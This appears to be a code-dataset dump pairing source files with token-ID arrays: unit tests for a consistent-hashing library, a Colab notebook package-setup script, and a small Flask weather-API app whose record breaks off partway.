self.failUnlessEqual(c.set_targets({"192.168.0.1" : 2, "192.168.0.2" : 2, "192.168.0.3" : 2,} ), 3)
self.failUnlessEqual(c.count_targets(), 3)
self.failUnlessRaises(TypeError, c.set_targets, "9")
self.failUnlessRaises(TypeError, c.set_targets, {3 : 2, "192.168.0.2" : 2, "192.168.0.3" : 2,})
def test_clear_targets(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
self.failUnlessEqual(c.count_targets(), 3)
self.failUnlessEqual(c.clear_targets(), None)
self.failUnlessEqual(c.count_targets(), 0)
def test_remove_target(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
self.failUnlessEqual(c.count_targets(), 3)
self.failUnlessEqual(c.remove_target("192.168.0.1"), None)
self.failUnlessEqual(c.count_targets(), 2)
self.failUnlessRaises(chash.CHashError, c.remove_target, "192.168.0.1")
self.failUnlessEqual(c.count_targets(), 2)
self.failUnlessEqual(c.remove_target("192.168.0.2"), None)
self.failUnlessEqual(c.count_targets(), 1)
self.failUnlessRaises(chash.CHashError, c.remove_target, "192.168.0.2")
self.failUnlessEqual(c.count_targets(), 1)
self.failUnlessEqual(c.remove_target("192.168.0.3"), None)
self.failUnlessEqual(c.count_targets(), 0)
def test_count_targets(self):
c = chash.CHash()
self.failUnlessEqual(c.count_targets(), 0)
self.failUnlessEqual(c.add_target("192.168.0.1"), None)
self.failUnlessEqual(c.count_targets(), 1)
self.failUnlessEqual(c.add_target("192.168.0.2"), None)
self.failUnlessEqual(c.count_targets(), 2)
def test_lookup_list(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
c.add_target("192.168.0.4")
self.failUnlessEqual(c.lookup_list("1"), ["192.168.0.1"])
self.failUnlessEqual(c.lookup_list("1", 1), ["192.168.0.1"])
self.failUnlessEqual(c.lookup_list("1", 2), ["192.168.0.1", "192.168.0.3"])
self.failUnlessEqual(c.lookup_list("1", 3), ["192.168.0.1", "192.168.0.3", "192.168.0.2"])
self.failUnlessEqual(c.lookup_list("2"), ["192.168.0.1"])
self.failUnlessEqual(c.lookup_list("3"), ["192.168.0.4"])
self.failUnlessEqual(c.lookup_list("4"), ["192.168.0.4"])
def test_lookup_balance(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
c.add_target("192.168.0.4")
self.failUnlessEqual(c.lookup_balance("1"), "192.168.0.1")
# FIXME
# self.failUnlessEqual(c.lookup_balance("1", 1), "192.168.0.1")
# self.failUnlessEqual(c.lookup_balance("1", 2), "192.168.0.3")
# self.failUnlessEqual(c.lookup_balance("1", 3), "192.168.0.2")
self.failUnlessEqual(c.lookup_balance("2"), "192.168.0.1")
self.failUnlessEqual(c.lookup_balance("3"), "192.168.0.4")
self.failUnlessEqual(c.lookup_balance("4"), "192.168.0.4")
def test_serialize(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
c.add_target("192.168.0.4")
cs = c.serialize()
self.assertEqual(len(cs), 3138)
self.assertEqual(md5(cs).hexdigest(), '975639a999ade73bd4fc64f3486ea093')
c2 = chash.CHash()
c2.unserialize(cs)
self.failUnlessEqual(c2.count_targets(), 4)
self.failUnlessEqual(c2.lookup_balance("1"), "192.168.0.1")
self.failUnlessEqual(c2.lookup_balance("2"), "192.168.0.1")
self.failUnlessEqual(c2.lookup_balance("3"), "192.168.0.4")
self.failUnlessEqual(c2.lookup_balance("4"), "192.168.0.4")
def test_serialize_file(self):
csf = "test.cs"
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
c.add_target("192.168.0.3")
c.add_target("192.168.0.4")
cs = c.serialize_to_file(csf)
self.failUnlessEqual(os.path.exists(csf), True)
c2 = chash.CHash()
c2.unserialize_from_file(csf)
os.remove(csf)
self.failUnlessEqual(c2.count_targets(), 4)
self.failUnlessEqual(c2.lookup_balance("1"), "192.168.0.1")
self.failUnlessEqual(c2.lookup_balance("2"), "192.168.0.1")
self.failUnlessEqual(c2.lookup_balance("3"), "192.168.0.4")
self.failUnlessEqual(c2.lookup_balance("4"), "192.168.0.4")
def test_usage(self):
c = chash.CHash()
c.add_target("192.168.0.1")
c.add_target("192.168.0.2")
self.failUnlessEqual(c.lookup_balance("1"), "192.168.0.1")
c.add_target("192.168.0.3")
self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.3")
c.remove_target("192.168.0.3")
self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.1")
c.remove_target("192.168.0.1")
self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.2")
c.remove_target("192.168.0.2")
self.failUnlessRaises(chash.CHashError, c.lookup_balance, "9")
c.add_target("192.168.0.2")
c.add_target("192.168.0.1")
self.failUnlessEqual(c.lookup_balance("9"), "192.168.0.1")
if __name__ == '__main__':
unittest.main()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
4691,
13,
13,
5215,
443,
27958,
13,
5215,
521,
1161,
13,
5215,
2897,
13,
13,
3166,
6608,
1982,
1053,
22821,
29945,
13,
13,
13,
1990,
4321,
3210,
1161,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
13,
1678,
822,
1243,
29918,
1202,
29918,
5182,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
4968,
6213,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29896,
29897,
13,
13,
1678,
822,
1243,
29918,
842,
29918,
5182,
29879,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
842,
29918,
5182,
29879,
3319,
29908,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
29908,
584,
29871,
29906,
29892,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
29908,
584,
29871,
29906,
29892,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
29908,
584,
29871,
29906,
29892,
29913,
10353,
29871,
29941,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29941,
29897,
13,
13,
4706,
1583,
29889,
14057,
2525,
2222,
29934,
1759,
267,
29898,
1542,
2392,
29892,
274,
29889,
842,
29918,
5182,
29879,
29892,
376,
29929,
1159,
13,
13,
4706,
1583,
29889,
14057,
2525,
2222,
29934,
1759,
267,
29898,
1542,
2392,
29892,
274,
29889,
842,
29918,
5182,
29879,
29892,
426,
29941,
584,
29871,
29906,
29892,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
29908,
584,
29871,
29906,
29892,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
29908,
584,
29871,
29906,
29892,
1800,
13,
13,
1678,
822,
1243,
29918,
8551,
29918,
5182,
29879,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29941,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
8551,
29918,
5182,
29879,
3285,
6213,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29900,
29897,
13,
13,
1678,
822,
1243,
29918,
5992,
29918,
5182,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29941,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
5992,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
4968,
6213,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29906,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
29934,
1759,
267,
29898,
305,
1161,
29889,
3210,
1161,
2392,
29892,
274,
29889,
5992,
29918,
5182,
29892,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29906,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
5992,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
4968,
6213,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29896,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
29934,
1759,
267,
29898,
305,
1161,
29889,
3210,
1161,
2392,
29892,
274,
29889,
5992,
29918,
5182,
29892,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29896,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
5992,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
4968,
6213,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29900,
29897,
13,
13,
1678,
822,
1243,
29918,
2798,
29918,
5182,
29879,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29900,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
4968,
6213,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29896,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
4968,
6213,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29906,
29897,
13,
13,
1678,
822,
1243,
29918,
20401,
29918,
1761,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
1761,
703,
29896,
4968,
6796,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
20068,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
1761,
703,
29896,
613,
29871,
29896,
511,
6796,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
20068,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
1761,
703,
29896,
613,
29871,
29906,
511,
6796,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
613,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
20068,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
1761,
703,
29896,
613,
29871,
29941,
511,
6796,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
613,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
613,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
20068,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
1761,
703,
29906,
4968,
6796,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
20068,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
1761,
703,
29941,
4968,
6796,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
20068,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
1761,
703,
29946,
4968,
6796,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
20068,
13,
13,
1678,
822,
1243,
29918,
20401,
29918,
5521,
749,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29896,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
29937,
383,
6415,
2303,
13,
29937,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29896,
613,
29871,
29896,
511,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
29937,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29896,
613,
29871,
29906,
511,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
29937,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29896,
613,
29871,
29941,
511,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29906,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29941,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29946,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
13,
1678,
822,
1243,
29918,
643,
6646,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
4706,
5939,
353,
274,
29889,
643,
6646,
580,
13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
2435,
29898,
2395,
511,
29871,
29941,
29896,
29941,
29947,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
3487,
29945,
29898,
2395,
467,
20970,
7501,
342,
3285,
525,
29929,
29955,
29945,
29953,
29941,
29929,
29874,
29929,
29929,
29929,
1943,
29955,
29941,
6448,
29946,
13801,
29953,
29946,
29888,
29941,
29946,
29947,
29953,
11248,
29900,
29929,
29941,
1495,
13,
13,
4706,
274,
29906,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29906,
29889,
348,
643,
6646,
29898,
2395,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29946,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
20401,
29918,
5521,
749,
703,
29896,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
20401,
29918,
5521,
749,
703,
29906,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
20401,
29918,
5521,
749,
703,
29941,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
20401,
29918,
5521,
749,
703,
29946,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
13,
1678,
822,
1243,
29918,
643,
6646,
29918,
1445,
29898,
1311,
1125,
13,
4706,
274,
4668,
353,
376,
1688,
29889,
2395,
29908,
13,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
4706,
5939,
353,
274,
29889,
643,
6646,
29918,
517,
29918,
1445,
29898,
2395,
29888,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
359,
29889,
2084,
29889,
9933,
29898,
2395,
29888,
511,
5852,
29897,
13,
13,
4706,
274,
29906,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29906,
29889,
348,
643,
6646,
29918,
3166,
29918,
1445,
29898,
2395,
29888,
29897,
13,
4706,
2897,
29889,
5992,
29898,
2395,
29888,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
2798,
29918,
5182,
29879,
3285,
29871,
29946,
29897,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
20401,
29918,
5521,
749,
703,
29896,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
20401,
29918,
5521,
749,
703,
29906,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
20401,
29918,
5521,
749,
703,
29941,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29906,
29889,
20401,
29918,
5521,
749,
703,
29946,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29946,
1159,
13,
13,
1678,
822,
1243,
29918,
21125,
29898,
1311,
1125,
13,
4706,
274,
353,
521,
1161,
29889,
3210,
1161,
580,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29896,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29929,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
13,
4706,
274,
29889,
5992,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29941,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29929,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
13,
4706,
274,
29889,
5992,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29929,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
13,
4706,
274,
29889,
5992,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
29934,
1759,
267,
29898,
305,
1161,
29889,
3210,
1161,
2392,
29892,
274,
29889,
20401,
29918,
5521,
749,
29892,
376,
29929,
1159,
13,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29906,
1159,
13,
4706,
274,
29889,
1202,
29918,
5182,
703,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
4706,
1583,
29889,
14057,
2525,
2222,
9843,
29898,
29883,
29889,
20401,
29918,
5521,
749,
703,
29929,
4968,
376,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29900,
29889,
29896,
1159,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
443,
27958,
29889,
3396,
580,
13,
2
] |
research/packages_setup.py | datadonK23/Engine | 2 | 190349 | import numpy as np
import pandas as pd
# Install packages and libraries
# This only needs to be done once per notebook.
# installing nltk and its packages
import nltk
nltk.download('punkt')
nltk.download('averaged_perceptron_tagger')
nltk.download('brown')
# Installing textract
!apt-get install python-dev libxml2-dev libxslt1-dev antiword unrtf \
poppler-utils libpulse-dev pstotext tesseract-ocr \
flac ffmpeg lame libmad0 libsox-fmt-mp3 sox libjpeg-dev swig
!pip install textract
# Installing textblob
!pip install - U textblob
# from textblob import TextBlob
# Install the PyDrive wrapper & import libraries.
!pip install - U - q PyDrive
# from pydrive.auth import GoogleAuth
# from pydrive.drive import GoogleDrive
# from google.colab import auth
# from oauth2client.client import GoogleCredentials
| [
1,
1053,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
13,
29937,
16052,
9741,
322,
9562,
13,
29937,
910,
871,
4225,
304,
367,
2309,
2748,
639,
451,
19273,
29889,
13,
13,
13,
29937,
15476,
302,
1896,
29895,
322,
967,
9741,
13,
5215,
302,
1896,
29895,
13,
29876,
1896,
29895,
29889,
10382,
877,
19294,
1495,
13,
29876,
1896,
29895,
29889,
10382,
877,
12483,
4063,
29918,
546,
1547,
1617,
29918,
4039,
914,
1495,
13,
29876,
1896,
29895,
29889,
10382,
877,
29890,
4708,
1495,
13,
13,
13,
29937,
16052,
292,
1426,
1461,
13,
29991,
2156,
29899,
657,
2601,
3017,
29899,
3359,
4303,
3134,
29906,
29899,
3359,
4303,
10351,
1896,
29896,
29899,
3359,
9418,
1742,
443,
2273,
29888,
320,
13,
1129,
407,
1358,
29899,
13239,
4303,
29886,
19994,
29899,
3359,
282,
303,
866,
486,
260,
16136,
627,
29899,
8415,
320,
13,
29888,
4620,
14336,
20856,
301,
420,
4303,
19581,
29900,
4303,
578,
29916,
29899,
23479,
29899,
1526,
29941,
577,
29916,
4303,
26568,
29899,
3359,
2381,
335,
13,
29991,
13096,
2601,
1426,
1461,
13,
13,
13,
29937,
16052,
292,
1426,
10054,
13,
29991,
13096,
2601,
448,
501,
1426,
10054,
13,
29937,
515,
1426,
10054,
1053,
3992,
29933,
2127,
13,
13,
13,
29937,
16052,
278,
10772,
29928,
4401,
14476,
669,
1053,
9562,
29889,
13,
29991,
13096,
2601,
448,
501,
448,
3855,
10772,
29928,
4401,
13,
29937,
515,
282,
2941,
4401,
29889,
5150,
1053,
5087,
6444,
13,
29937,
515,
282,
2941,
4401,
29889,
21594,
1053,
5087,
29928,
4401,
13,
29937,
515,
5386,
29889,
1054,
370,
1053,
4817,
13,
29937,
515,
288,
5150,
29906,
4645,
29889,
4645,
1053,
5087,
28037,
13,
2
] |
app.py | choochootrain/choochoodash | 0 | 93861 | import os
import requests
from flask import Flask, render_template
app = Flask(__name__)
app.config['DEBUG'] = True
@app.route('/')
def index():
return render_template('index.html')
#API
@app.route('/api/ping', methods=['GET'])
def api_ping():
return "pong"
@app.route('/api/weather/<int:city_id>', methods=['GET'])
def api_weather(city_id):
resp = requests.get('http://api.openweathermap.org/data/2.5/weather?id=%d&units=imperial' % city_id)
return resp.text, resp.status_code
if __name__ == '__main__':
app.run(host='0.0.0.0', port=os.environ.get('PORT', 8000))
| [
1,
1053,
2897,
13,
5215,
7274,
13,
13,
3166,
29784,
1053,
2379,
1278,
29892,
4050,
29918,
6886,
13,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
13,
932,
29889,
2917,
1839,
18525,
2033,
353,
5852,
13,
13,
29992,
932,
29889,
13134,
11219,
1495,
13,
1753,
2380,
7295,
13,
1678,
736,
4050,
29918,
6886,
877,
2248,
29889,
1420,
1495,
13,
13,
29937,
8787,
13,
29992,
932,
29889,
13134,
11219,
2754,
29914,
15702,
742,
3519,
29922,
1839,
7194,
11287,
13,
1753,
7882,
29918,
15702,
7295,
13,
1678,
736,
376,
29886,
549,
29908,
13,
13,
29992,
932,
29889,
13134,
11219,
2754,
29914,
705,
1624,
